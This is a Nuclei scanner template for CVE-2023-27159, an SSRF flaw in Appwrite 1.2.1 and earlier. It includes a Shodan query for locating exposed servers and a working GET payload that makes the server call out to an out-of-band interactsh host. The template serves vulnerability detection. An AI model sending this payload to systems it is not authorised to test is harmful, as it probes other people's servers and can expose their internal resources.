nuclei-templates/http/cves/2023/CVE-2023-27159.yaml

id: CVE-2023-27159

info:
  name: Appwrite <=1.2.1 - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: medium
  description: |
    Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
    - https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27159
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-918
    cve-id: CVE-2023-27159
  metadata:
    max-request: 1
    verified: "true"
    shodan-query: title:"Sign In - Appwrite"
  tags: cve,cve2023,appwrite,ssrf,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Appwrite-Server"

# Enhanced by md on 2023/04/20